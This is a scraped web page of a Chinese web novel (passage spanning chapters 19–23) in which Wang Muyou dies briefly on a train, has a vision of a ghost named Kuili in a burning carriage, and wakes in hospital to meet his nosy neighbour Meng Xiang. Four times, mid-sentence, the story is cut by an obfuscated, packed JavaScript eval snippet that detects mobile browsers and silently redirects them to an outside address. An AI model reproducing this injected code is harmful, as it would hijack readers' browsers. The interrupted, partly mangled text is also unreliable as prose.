王睦友的眼神飘回了窗外,看着慢慢开始移动的街景,一时之间不知道该说什么才好。 话痨邻座以为是自己这是惹到王睦友了,赶紧继续道歉道:“啊抱歉抱歉,我没有咒你的意思啊!诶呀我这人嘴比脑子快,嘴贱是老毛病了,诶呀,这真的很对不住……” 他态度诚恳:“小哥你要是真不解气,就骂回来吧。这样我还感觉好受点,你不讲话反而让我担心等会你要打我了。” 王睦友一听这话,慌忙回头拒绝道:“别别别!真打了你我还得赔钱……” 邻座看了看王睦友的胳膊和腿,又看了看自己的,还摘下眼镜掂量了一下重量。 “那到时候估计我们得互相赔钱。”他笃定道。 王睦友也悄悄比对了一下,忍不住吐槽道:“没这种法规吧!。” 气氛一下就轻快了不少。 在愉快的交谈中,王睦友小心地摸了摸心口,并没有感觉到什么异常,一颗心也就慢慢放回了肚子里。 他心想,裘诺保不齐是个人格分裂症,第二人格正好又患了妄想症,没事就以吓唬别人取乐,其实压根没那么多事,纯粹是对方瞎编的。 但不管怎么说,远离神经病永远是没错的。 他正松了一口气,就听邻座问:“看你带这么大个箱子,你是来旅游的?” “差不多吧,”王睦友含糊道,“我是打算回家去椋州。你呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265391|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“啊,我不是邺京人,但也不是椋州人。实不相瞒,我其实是一个自由职业者。” 邻座摘下眼镜,指了指自己眼下的黑眼圈:“喏,你看,这就是辛苦的证明。我的职业就是到处投稿,写点软文赚饭钱的那种。这两天手头宽裕了,就想出门去椋州玩一圈。那离邺京不远,城市发展也好,不想去看景点,市里待着也和我在邺京待着差不多……” 王睦友赶紧补了一句:“和邺京没法比。” 他说:“你要是用邺京那个标准看我们那边……” 邻座乐了:"怎么可能真拿一个标准看啊!” 他说:“舆华有几个城市能和邺京比啊?邺京的规模可是和锭平没什么区别,后者却是舆华首都。” 他比划几下:“既然你是本地人,那你要不和我推荐点好玩的地方?给我参考一下?” “啊,其实我也是好几年没在那长待了。我想想啊……” 两人聊得投机,不知不觉中,高速列车也即将驶离邺京地界。 王睦友的邻座可能的确是前一天晚上激动得没睡好,在美美地把王睦友推荐的餐厅、景点都标记出来后,现在已经靠在座位上沉沉睡去,眼镜都掉到了下巴上,仅凭镜架脚上的两个钩子挂着耳朵维持平衡。 毕竟是早上的头班车,估计车上多的是没睡醒的人,此时王睦友的周围呼噜声此起彼伏,一时竟只剩他一个孤家寡人还醒着。 他又转过头,看着窗外渐渐没那么繁华的风景,也不由感到困乏起来。他便再次把头靠在了车窗上。 列车里的温度调得正好,是适宜睡觉的凉爽,再加上他已经两个晚上没睡好觉了,心里一踏实,就也逐渐陷入了梦乡。 但可惜的是,这一觉他注定不能安生。 他是被热醒的。 他睁开眼,却只剩下了火与烟残存在他的视野里。 原本深蓝色的座椅,银色的行李架,杏黄色的窗帘,全都陷入了一片火海。烟开始侵入他的呼吸道,与灼烧着他皮肤的火舌一起吞噬着他的意识。 浓烟滚滚中,他像所有现代人那样打开终端求救。可不管他怎么呼唤,之前一直过于便捷的终端页面此时却怎么都无法打开,就好像之前注射进他体内的那针终端特调剂失效了一样。 他站起身,想去看看其他的乘客怎么样了,却发现车厢不知何时已经空空荡荡,只剩下他与跃动的火苗。 他心里暗骂一声,正捂住口鼻想赶紧从车门逃生,却看见了一个留着一头黑色中长发的陌生人不知何时出现了他的面前,就站在列车的门口,堵住了他的逃生之路。 那是个身材高挑的年轻男人,眼瞳和头发的颜色就像被燃烧殆尽的炭灰,在里面还隐隐地闪着几点深红的火星。但和王睦友所见过的任何人都不一样,他的身上只有一片死气,就像过度燃烧后留下的灰烬。 他就这样突兀地出现在了一片火海中,像不会被烧化的某种物质,静静地注视着王睦友。 一瞬间,似乎有无数的木柴在王睦友耳边被点燃,他的脑海里只剩下了一片几乎望不到头的火焰和无尽的灼热。 他开口了,声音是让王睦友绝望的熟悉——这声音曾向他传达过吉老爷子入院的消息,也曾在前一天晚上宣告王睦友命不久矣。 “你没有听我的劝告,王睦友。”那年轻人说。 “所以你就快要死了。” 20. 你要杀了我吗朋友 人生中最绝望的事,莫过于求生的希望近在眼前,但下一秒就发现它其实远在天边了。 车厢里的火焰还在熊熊燃烧。它烧焦了座椅,将扶手烧化,在狭小的空间里散发出刺鼻的焦糊味。 即使王睦友按照应对火灾的常识那样捂住了口鼻,躲在浓烟稀薄一点的位置,那股令人不安的气味还是源源不断地往他的脸上糊,他的体温持续变高,最后连呼吸都开始困难起来。 当然,也有这陌生人做出的死亡宣言的原因。 身后是燃烧着的车厢,面前是又一个激起他本能的恐惧心的怪人。虽然这怪人就站在那里,好像什么都不打算做,但当时在医院差点杀了他的那个以太人一开始也是这副姿态,他心下一凉,差点放弃求生的欲望。 但也只是差点而已。 可能是昨天刚被当做人质,给这种情况留下了一些正面经验,也可能是太害怕了以至于精神麻木了,王睦友此时反而是冷静了下来。 在刚才被吓住了的一瞬间,他留了个心眼注意了一下车门上的紧急开门装置所在的位置:现在的这种紧急装置设计得都非常人性化,只要检测到列车未能正常运营,紧急装置就会自动减压到连幼儿都能轻松打开的程度,绝不阻拦任何一个乘客逃出生天的路程。 这就是出路所在。 眼下的当务之急是赶紧出去。他乘坐的这班高速列车是往返于邺京和附近城市间最频繁,也是日常乘客最多的一条线路,重要性不言自明。 如果它出现了起火事件,有关部门不可能没有行动,说不定现在门外就全都是救援人员……这陌生人再厉害,也不可能众目睽睽之下害死自己还没人拦吧! 他目测了一下自己和列车门的距离,悄悄往后退了几步,想着没准助跑一下可以直接把那个挡路的人一起撞到列车门上。 他一边后退,一边试图转移那人的注意力,便问道:“你,你要杀了我吗?” 他退后到背都靠在了墙壁上,大致看了一下两人之间的距离,一脚抵在墙上,做好了助跑的准备。 “我都不认识你,我们无冤无仇……” 他无奈地说,观察着对方的一举一动,生怕他突然做出点什么极端举动,直接让他的逃生计划和小命一起葬送当场。 但出乎王睦友的所料,这一出场就引爆了他脑内警报的年轻男人似乎却并不是一个情绪起伏大的危险人物。 他甚至毫不掩饰自己一脸的困惑,只是一手扶在下巴上,困惑道:“你在说什么啊?我为什么要杀了你?我……为什么要这么做?” 他陷入了深深的困惑,似乎被王睦友的发言震撼到了。 “不对,不应该是这样。”他喃喃自语,“你肯定是误解了一些事情。王睦友,你听我说……” 但这分明就是逃跑的绝佳机会。 王睦友现在满脑子都只有冲刺的倒数,自然一点都没注意到那年轻男人嘴里在嘟囔些什么。于是就在那男人想向他伸手时,他一下暴起,没命地高喊着:“就现在!” 然后就以他这辈子可能都不会再有了的速度向着离他差不多三米距离的门冲了过去。 那年轻男人似乎也没想到王睦友会来这手。他还没反应过来,就被矮了他将近半个头的王睦友撞了个正着。 但另一边,王睦友也在两人相撞的那一刹那间困惑了。这年轻男人仿佛是没有体积和重量的,他一头撞上去,就好像是扎进了一团云雾里,直接就冲着那紧闭的大门摔了过去。 他赶紧像刚才脑内排演了几遍那样对着紧急把手伸出手,以防自己的脸和坚硬的车门来个亲密接触,但也就在那一瞬间,他感觉自己的身体一下就被固定在了原地。 没有东西拉住他,也没有东西挡住他,他就像是单纯被石化了一样。他的身体还是冲刺状态,现在只有左脚脚尖是着地的。他整个人就保持着这反重力的姿势,停滞在了原地。 王睦友瞠目结舌,努力伸长手指想去够眼前标着感叹号的门把手。但他的身体却仿佛不再属于他,任凭他挣扎使劲,都只是僵硬地保持在那个跌倒的动作,再也动弹不得。 那刚才被他撞散了的男人又重新出现在了他的身边。王睦友闭上眼睛,满心完蛋之余还有一丝认命。 那可不是嘛。他不仅没能打开门,还对疑似这一切始作俑者的人做出了攻击性行为。现在细细想来,自己刚才能一系列冒险行为,但凡失败了,就横竖是两个字:找死。 但狂风暴雨却没有将临。 “你可不能冲出这里啊。” 王睦友睁开了眼。 他的脖子不能转动,加之此时他的动作实在太过于扭曲,能看到的视觉范围有限。但那头发和眼瞳都是炭灰色的年轻人居然正蹲在王睦友旁边,确保王睦友和他处于一个视觉的平面上才继续对话。他的语气极其耐心,像是一个哄着小孩的幼儿园阿姨。 他见王睦友睁眼看向他,才继续说道:“你要是从那扇门里出去了,就要死了。” 王睦友下意识“啊?”了一声,却发现自己的脸好像是可以活动的,便做出了个夸张的惊讶表情。 他自己都知道这表情夸张,跟他说话的那个年轻人也是眉毛一抽,一时流露出了一丝紧张,明显被他的表情震撼了。 “我不知道在你眼里,这里现在是什么样的。”,他说:“但是请放心,这都只是你的幻觉。你所见到的一切危机,都只是你的幻觉逼你出去的手段。” “幻觉?这里是幻觉?” 王睦友刚想继续表达震惊,从刚才起就没起过作用的重力终于反应了回来。他一屁股跌坐在了地上,疼得龇牙咧嘴。 但这一痛也让刚才一直充斥在他鼻腔里的烟味消散了个一干二净,甚至等他揉揉屁股站起来时,刚才还追着他的大火也已经不知所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265392|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踪。只剩下他,还有那个年轻人,两个人孤零零地站在空无一人的空车厢里。 “对,幻觉。”那年轻人说。 “你的体质决定了你不能和邺京的炁脉分离。你离开了邺京,现在就快死了,所以你才会最后出现在这个被炁脉包裹的空间里。” 这都什么谜语。王睦友腹诽。 他回头看了看车窗的外面,却发现窗外刚才还有几棵树的蓝天白云一下就变成了一团翻腾的黑,这吓得他连退几步。再一联想起自己刚才差点碰到的那个门把手,他心里满满一阵后怕,鸡皮疙瘩起了一身。 “那,”他声音发抖,“那我什么时候能从这里回去?还有……” 他咽了咽口水,终于问出了困扰了他快三天的问题:“你到底是谁?为什么你会出现在这里?你是裘诺的第二人格吗?” “等你脱离了危险,你自然就出去了。”那年轻人轻快地回答了王睦友的第一个问题。 但第二个问题却明显让他陷入了思考。 过了一会,他才回答道:“这个问题,对不起,现在的我很难回答你。我只能告诉你,我的名字是馗礼,我不会伤害你,对你也没有任何恶意。但好像……” 他看了一眼王睦友:“你是对我有疑虑,才会这么急着离开邺京吧。” 不是对你有疑虑,我是单纯惜命。 王睦友差点把自己的小心思脱口而出,但他还是忍住了。 那年轻人也没有留意到王睦友的小表情,就只是自顾自地说:“那是我失算了。这些问题我都无法给出答案,于是就粗暴地决定不回答。还请你原谅。” 他稍稍转过头看了一眼窗外,说:“时间也不多了,我就先长话短说吧。反正之后我们相处的时间还长。” 王睦友刚想问“你说的时间不多是说谁时间不多?”就又是感到一阵眩晕袭来。 他几乎站不稳,便连忙伸手扶住了座椅。但这对他毫无帮助,只是感到加倍的头晕目眩。 就像即将陷入沉睡时感受到的一样,王睦友感觉自己目之所及的一切都像被一层毛玻璃隔开了,不管是车厢里的座椅,或者是挂在车窗上的窗帘,甚至连站在他跟前的那个人都只在他的眼里留下了一个影影幢幢的轮廓。 但他仍然听见那模糊的人影说道:“我应该就是教授了那些人,那些我已经想不起来的人们符文的人。不,我可能不是人……” 他最后的话说得很轻,王睦友刚想挣扎着凑近一点去听,就感到自己的身体开始了急速坠落。这坠落的过程并不长,甚至他还没反应过来,他的腰背就重重摔在了一个松软的床垫上,震得他眼皮一松,直接睁开了眼。 这次映入他眼帘的,就不再是一片可怕的红色了。他看见的,是医院洁白无瑕却又柔和的灯光。 但他最后还是听清了那人的话。 “我是被留在邺京的鬼魂。” 21. 又回来了 王睦友躺在床上,盯着天花板发呆。要不是他昨天连夜打好的箱子正安静地立在他的床脚旁边,他简直要以为这过去的72小时里他所经历的一切都只是一场梦了。 但很快,他转念一想,好像他前两天日均这么感慨一次,便是心头升起一股介于心酸和无力间的奇怪感受。 正把检查肢摁在他的身上监测他的健康状况的护工机器人头顶还在一闪一闪地亮黄灯。当王睦友跟着发光的频率默数到六十时,那暧昧的黄光终于变成了明亮的绿光,压在他四肢上的检查肢也变回了软绵绵的质感。它见王睦友在床上一副浑身难受的样子,就把他扶了起来,手臂直接从连接处脱落,变成了两团抱枕,垫在他身后。 大概是王睦友表情舒缓了一些,它又重新从接口处伸出了两只白胖胖的机械臂,一边嘴里哔哔哔地播放着【患者生命体征已恢复,可以通知家属前来探望】的电子音,一边转过头为王睦友端来一张小桌。那上面放了些挂面之类的病号餐,在托盘的侧面还印刷着【邺京一院竭诚为您服务】的标语。 王睦友对邺京不怎么熟悉。他试着开了下终端,在发现它还在正常运转后便松了口气,先查看起了邺京一院的信息。在发现这所公立医院就位于他今天早上出发时走的邺京总站旁边时,他忍不住叹气,心说没想到绕了一圈又回来了,接着就烦闷地掰开了筷子,准备吃饭。 碟子里的配菜健康又清淡,但光气味就让人毫无食欲,更别说远看就是一片白色的菜色了。 王睦友本来打算随便吃几口,然后就从医院的小卖部买方便食品吃。但是他刚张开嘴,就感觉自己的肚子早已空空荡荡,好像是被饿了好几天一样。 既然都饿成这样了,那可就由不得他挑三拣四了。 他拿起碗,咕噜噜一口连汤带面地喝了个干净,但还是感觉饿,便又把配面的清炒豆芽也三两口扒光了。在感到多少是腹内有点东西了,他才一边把毒手伸向汤碗旁边的一小碟白水煮鸡肉,一边问正在拉开窗帘的小机器人:“现在几点了?我该是晕了大半天?” 那机器人猛地一下把头转了180度,清晨的阳光从刚拉开的窗帘间倾泻下来。它脸上代表眼睛的红点跳了几下。 【您已经昏迷接近48小时了。】 王睦友差点被口感干柴的鸡肉噎住。 “48小时!”他震惊道,“我是怎么了?” “入院时您的心脏已经停跳,初步断定死因是猝死。” “猝死?!” 王睦友大惊失色。他手上一松,筷子直接掉在了被褥上,他忙不迭地去捡。 “那我现在怎么回事呢?”他着急地问。 医疗小机器人蹦蹦跳跳。 【恭喜您!复活了!】它说,【真心为您感到高兴!】 这都哪门子事啊! 难道前两天舅爷也是遇到了这种情况才进的医院?! 他不安地问:“那是谁送我来的?” 小机器人没有立刻回答。它的眼睛闪烁着,似乎在调取来访者的档案记录。但这一进程被来查房的医生打断了。 他见王睦友醒了,明显也是一愣,但立刻一脸欣慰地和王睦友打招呼,难掩激动:“你是被铁路部门的工作人员送来的,还有你朋友也陪着一起来了。” 他和护工机器人核对了一下今天采集的数据,顺便低着头和一脸困惑的王睦友闲聊天:“你被送来的时候,我们都以为你要不行了,但没想到稍微抢救一下,你的心率就慢慢恢复了。年轻人!身体真好啊!” 这是身体好的事吗! 王睦友小心地打听:“朋友?” 他的脑内一下闪过裘诺的身影,便问道:“是一个扎丸子头,个挺高,看着很爽朗的女孩子吗?” 医生皱着眉摇摇头:“不是,是个戴眼镜的男的。等一下,我看看啊……” 他翻查了一下手上的记录:“孟襄?好像叫这个名字。他前两天都来看你了,估计今天等会又要来了。具体情况你要不问问他吧?” 王睦友终于捡起了筷子,但这陌生的名字让他更懵了。 “孟襄?那是谁?”他问。 医生倒是对这种问题见惯不惯——天天和这种重病后康复的病人接触,免不了就会遇见那么一两个昏迷醒来突然就不认人了的。 他一边继续和医疗机器人核对参数,一边头都不抬地说:“等他来了你直接问呗?聊几句估计就想起来了。哦,你这身体恢复得不错啊,明天就能出院了。这两天吃的注意点,好好休息,再观察一下……” 他好像又嘱咐了几句,可陷入迷茫的王睦友却一个字都没听进去。他甚至没注意到医生是什么时候走的,等回过神来,房间里又只剩下了他自己一个人,还有在一边勤勤恳恳打扫卫生的护工机器人,安静又稳定的吸尘引擎在他身边一圈圈地绕,确保没有一颗灰尘遗留在地上。 他盯了那小机器人一会,最后决定还是先把最后剩下的鸡肉和水煮黄瓜片吃了。 开玩笑!这都是要钱的!他边吃边想。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265393|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>具体情况等会再问,反正先把病号饭吃了吧! 反正无外乎就是自己在车上晕了过去,然后被紧急送来医院吧。他夹起一筷子黄瓜,咯吱咯吱地吃着。 所以刚才那个着火的车厢,那个男人,都是自己昏过去后看见的幻觉?救了自己的最后不是那个什么馗什么说的话,还得是现代医学?! 但也不一定,现在医学到了可以让停跳心脏复苏的程度了吗?看刚才那个医生的反应,很难不相信自己的康复不是医学奇迹啊! 等到他甚至一片一片吃完了难以下咽的黄瓜片,他都没能给这个问题找到个确切的答案。末了还是只能双手一摊直接摆烂,等着小机器人收走他的餐盘,顺便等待那个叫“孟襄”的人的拜访。 现在想这么多也无济于事,他想,等会等人来了,估计就什么都知道了。 而且不管怎么样,自己被他救了也是事实,无论如何要应该好好表达一下感谢…… 他这边还盘算着该怎么道谢,那边护工机器人就给他拿来了一杯闻着酸溜溜,但看着和芝麻糊似的药,说是医生开的药,让他喝下去。王睦友盯这样子可疑的药盯了一会,最后才在小机器人毫无波澜地报成分和药效下屈服了,捏着鼻子,就把那黏糊糊的芝麻糊往喉咙里灌。 这药很稠,他憋了半天才吞下去了小半杯。正当他屏住气,一口气把剩下的大半杯药都灌进了嘴里时,他房间的门又被打开了。 他嘴里含着没来得及吞下去的药糊,正想看看是谁来看他了,就看见那是吉老爷子在小心翼翼地站在门边探头往他这边看。 “睦睦?”他问,“你身体好点了吗?” 王睦友还没来得及困惑吉老爷子怎么改名字叫孟襄了,就被跟在吉老爷子身后的人吓得一激灵,刚才怎么都咽不下去的药糊都被吓得咕嘟一声咽了下去。 虽然是意料之中的人选,但他万万想不到这人居然也能和吉老爷子搭上线。 车上坐他旁边座的小年轻扶了下眼镜,对着王睦友摆摆手,权当打了个招呼。 “这还真是缘分啊!”他笑着说,“我叫孟襄,你应该是有听医院那边说了。” 王睦友看看他,看看吉老爷子,虚弱地客套道:“缘分啊……缘分……” 但对方却明显不在乎这虚情假意的客套,只是自来熟地坐在了床边,拿起床边王睦友没动过的苹果就啃了起来。 “不过这也太巧了。”他边吃边说,“我们车上是邻座,但没想到居然我们连住都住在一条街上啊!” 22. 熟人社会不仅是隔墙有耳 这是光辛街道一个平平无奇的早晨。 现在是早上七点。孟襄踩着拖鞋,踢踢踏踏地就出现在了光辛饭店里。他对在厨房盯着早点制作进程的裘诺打了个招呼,要了杯豆浆,又随手拿了个麻球,最后等在了蒸笼前等自己要的肉包蒸好。其中无聊的等待时间他也没闲着,只是皱着眉头,认真地在人来人往的堂食区搜索可以坐下的空位。 很快,他就锁定了自己的目标。 他对坐在光辛饭店最里面,正吹着馄饨的王睦友挥手,示意想来拼个桌。 拼桌在饭点的光辛饭店是再平常不过的事情了。横竖都是社区里的熟面孔,偶尔坐一桌吃饭,大家也都不会有什么意见。而更主要的原因则是光辛饭店大多数时候生意火爆,小小的堂食区又放不下那么多的桌子,于是对不想外带的客人来说,拼桌就是毫无疑问的第一选择。 而这样的经营状况,毫无疑问都要归功于现在正在厨房里忙得脚不沾地的老板娘裘诺。 大家都说,前两年老店主刚去世时,光辛饭店几乎是要干不下去了,还是刚刚失去了亲人的裘诺强打精神,才逐渐稳定了生意,让已经快二十岁的小破饭店避免了倒闭的悲惨结局。 一般来说,这类社区小饭店并不会因为换了掌柜的就落得这样糟糕的下场。可光辛饭店无意就是个特别案例,它特别就特别在前任老板娘,也就是裘诺的婶婶裘琳玉格外特别。 一言蔽之,她是个极其擅长厨艺和算账,但赶客的本事却还在这两者之上的奇人。 当时来店里的客人里几乎都被这刻薄的老太太刺过几句。但一来看在那时候尚且年幼、却已经能帮婶婶打圆场的小裘诺的面子上,二来老太太又的确烧得一手好菜,又总能找到个对食客最实惠、她自己又有得赚的那个价,街坊们对光辛饭店便都是心情复杂——毕竟谁都不会讨厌这样一家小饭馆,也没有人会否认裘琳玉是光辛饭店的绝对核心,但也没有人想和裘琳玉多打交道。 而这种心态,也就直接导致了他们对于裘诺接手的光辛饭店的不信任:这个小姑娘能像她婶婶那样做个最会算数的会计吗?小饭店的出品还能像之前那样稳定吗?这些都是未知数。 但是至少,每天眼睛肿肿、无精打采的裘诺在他们看来并不能胜任老板娘这个职位。于是一度红红火火的光辛饭店就萧条了,甚至一度差点关门大吉。 然后?然后就是刚刚失去了亲人的裘诺凭着一口气,强打精神收拾残局。幸好她打小就在店里帮忙,即便婶婶从来不让她插手饭店的经营,耳濡目染之下还是学到了几分真本事。再加上朴素坚韧、吃苦耐劳的性格,风雨飘摇的光辛饭店总算是慢慢地稳定了下来,附近的街坊们自然也乐得看着这社区小食堂重新做起来,于是来的人也越来越多。裘诺趁热打铁,牺牲休息时间,在光辛饭店传统的午市和晚市外追加了早餐档,这才有了现在这派欣欣向荣的样子。 包子很快就蒸好了。孟襄接过自己的早饭,径直走到座位边,跟王睦友打招呼:“嘿,你这两天休息得怎么样?身体好点了吗?” 王睦友有些不适地动了动脖子,T恤领口挂着的铭牌就也随着他的动作一起晃了几下,这让印在牌子上面的半身像拘谨的笑容显得更窘迫了一点。 他说:“也没怎么休息吧?我前天早上才从医院出来,昨天准备了一下材料。今天就要去居委会上班了……” 他似乎不是很想回忆这两天发生的事,便说得含含糊糊。 孟襄也不知道是理解了他的意图还是完全没理解,他一拍大腿:“人生可真是峰回路转啊,你说是不?” 他说:“看你这即将上任的社畜样,谁又能想到你是因为在邺京没找到工作才想回去的呢?你看,你要不是突然在车上发了心脏病了,可能就和这份工作擦肩而过了。唉,所谓祸兮福所倚福兮祸所伏,来来来,吃饭吃饭,谁知道明天会发生什么呢?” 他美美地咬了口糖饼,发出满足的声音。 王睦友心说我还巴不得不要这份邪门工作,赶紧跑回老家找个厂上班呢,面上还是苦笑道:“可别说了。我自己都没想到,居然就真的要长居邺京了。” 这都是大实话,但孟襄却把他的话完全按照另一个意思理解了。 “不说这个了,”他说,“你那天可真是吓死我了。本来聊天聊得好好的,突然你就头一歪没声了。我还以为你是睡过去了,就去自己刷了会终端。后来听你那边一点声都没,才想着来看看你是不是生病了,没想到啊!” 他一口气喝了半杯豆浆。 “一摸,竟然是没气了!” 那可不是嘛。王睦友心说。 我自己都没想到啊! 孟襄可不知道他的心理活动,只是摇着头叹气,继续啃着他的饼。 “真是吓死我了,还以为我这就要见证这辈子亲眼目击的第一起猝死事件了。这才赶紧叫来列车员,还陪你去了趟医院,连难得的假期都泡了汤……怎么样?我人不错吧?” 王睦友被他这过于活跃的思维打了个措手不及,便下意识回答道:“啊,是啊。你可帮我太多了,我都不知道该怎么谢谢你……” “哎,这就不用谢了。但四舍五入我们这也算是过命的交情了吧?” 孟襄也没管王睦友小声叨叨的“你这四舍五入是够狠的。”,趁着一大早光辛饭店没什么人,便压低了声音,露出一副八卦的表情:“我听吉老爷子说,你是以为居委会这边的工作批不下来,才打算回去的?” 王睦友想起了和吉老爷子的谈话,虽然对这个说法不是很认可,但还是迟疑地点了点头,还喝了口馄饨汤,来掩饰自己的心虚。 孟襄看他这反应,便压不住脸上的笑意了:“所以,这个说法是假的了?” 王睦友几乎叫起来:“哈?” 他正想问“你怎么知道的?!”,但转念一想,自己这反应也太明显了,就强装镇定道:“诶呀,这能有什么假?我们刚才不是还感叹过人生无常嘛……” 他说这话自己都不信,更别提孟襄了。 “诶呀你别管!你就说是不是吧!” 孟襄往桌子这边靠了靠。 “从之前我就感觉奇怪了。怎么说呢?吉老爷子对你的态度好像怪怪的。唉,虽然老爷子一直是个好人,你也是他唯一的侄孙,但是…… "我总感觉你们怎么看都不像是好久没见,但是之前很亲密的爷孙。” 他的声音变得更轻了,像是生怕谁听到一样。 “倒不如说,你们更像债主和欠债人的关系。只不过吉老爷子欠你的是人情债,他现在想着法想弥补……” 这份敏锐打了王睦友一个措不及防。 “啊?弥补?你在说什么?”他打着哈哈,一抬头对上孟襄笑眯眯的神情只觉得冷汗顺着后脑勺都流进了衣服领子里。 “都、都是一家人。”他说,“诶呀,你都想哪里去了,什么人情债不人情债的。怎么这么算的……” “诶?真的假的?” “真的真的,这还能有假……” 孟襄明显是不信——但说实话王睦友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265394|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己都不信。他正在抓耳挠腮,救苦救难的裘老板就正好端着孟襄的包子来了。从盘子上蒸腾而起的热气隔开了孟襄对王睦友的视线,也短暂打断了这尴尬的话题。 虽然只有几秒钟吧。 “哟?”老板娘熟练地和熟客搭话,“聊什么呢?这么热闹。” 您可别哪壶不开提哪壶了! 王睦友疯狂对裘诺打眼色,老板娘心领神会,大彻大悟。 “哦!你们是不是……” 她压低声音:“在传谁的坏话啊?” 不是! “这种事情还是不要在我这里说。”老板娘看看周围,凑近过来,“也就是现在人少,要是被谁听去了,我也难做人……” “哈哈哈,怎么会呢!”孟襄大笑着说。 “不论是我还是小王都不是这样的人吧!” “保不准呐!”裘诺惊呼,“我可见过太多表里不一的客人了!” 她似乎在影射什么,可孟襄却并不在意,只是揉了揉头发,又打了个哈欠,懒散再次出现在了他的脸上。 他为自己辩解:“我只是在和小王聊聊家常,拉近一下距离。裘老板你就放心吧!” 他作势要来帮王睦友捏捏肩,吓得小市民又是一哆嗦,他干脆双手一摊,表示自己没有恶意。 “至于我嘛,”他说,“现在要回去补觉了。祝你工作顺利哦!” 王睦友盯着他提着俩包子出了门的背影,半晌没回过神来。直到裘诺催他吃完赶紧翻台别占位置,他才如梦初醒般,连连用餐巾纸擦着额头的冷汗。 “裘姐……”他惊魂未定,“你们街道的人都那么难缠吗?要是都这样,我感觉要不了两天,昨天舅爷跟我说的,需要我保守的秘密就都得被他们套去了……” 裘诺一手托着盘子,一手拿着馄饨碗,摇了摇头:“倒也不是谁都这样。主要是……” “孟襄嘛,他就是那样的人。”她无奈地说。 “他是上半年刚搬来的,结果现在他就已经把我们这些街坊都吃透了……真不知道他怎么这么消息灵通的。” 她把收拾下来的餐具递给划着小轮过来的机器人,回过头宽慰瑟瑟发抖的王睦友道:“不过我感觉他人还不错,估计也就是没事喜欢八卦。这种人也很常有嘛,你也别放在心上了。” 这安慰明显没起什么作用。 王睦友沉默了一会儿,做出了自己最后的评价。 “这不是更吓人嘛!”他说,“谁知道哪天我舅爷千藏万防的那点破事就被暴露出去了……” “那也没办法啊。街坊生活就是流言传得飞快,所以真要紧的事都不能在外面说。” 裘诺把抹布往桌上一丢,发出啪的一声,吓得王睦友缩了下脖子。 她说:“或者等我关了店再在这里说。啊,对了。” 她看了眼时间,招呼机器人拿来个打好包的小饭盒交给王睦友:“快点拿给你舅爷去吧!就当你给他赔礼道歉了。” “虽然不知道之前你们怎么吵架了,”她说,“但我也不知道你是怎么把你舅爷气得大半夜高血压的……实在不应该啊!” 王睦友还想再为自己辩解几句,但见裘诺这副“我懂我懂,我当时也这样过”的样子,也就心领神会。 他在拿着小包离开前,像突然想到了什么一样,转过头对裘诺说道:“啊,差点忘了。麻烦帮我和馗先生带个好,也是谢谢他救下了我了。” 裘诺抬起她那条纹满了荷花的胳膊,向王睦友挥了挥手,示意收到。 23. 故事要从很久很久前开始说 王睦友其实没和吉老爷子起冲突,或者说把自己的舅爷气到肝疼也根本不是他的本意。 在他被从医院接回来后,也不知道是不是这突然的一出吓到了吉老爷子,老先生一改之前那副话在心头口难开的样子,在他回到家后,就殷勤地拉他坐下,还倒了杯水。 王睦友刚挥手拒绝,吉老爷子就说:“这又不是给你的,是我自己要喝的。” 他喝了口水:“因为我们要讲的故事很长很长。真要说的话,那得把邺京城再建一遍。哎,我之前不知道怎么跟你说,就是因为我自己都不知道能不能讲清楚,也不知道你有没有这个耐心听……啊,你这可得记住了,千万别到处跟别人声张去。” 王睦友便说就算是从世界起源开始说,他都会听完并且保密的,只求老爷子别再卖关子吊人胃口了。 但他没想到的是,吉喆老爷子当真是个说到做到的人,说从邺京建城开始讲,就真从那里开始讲。 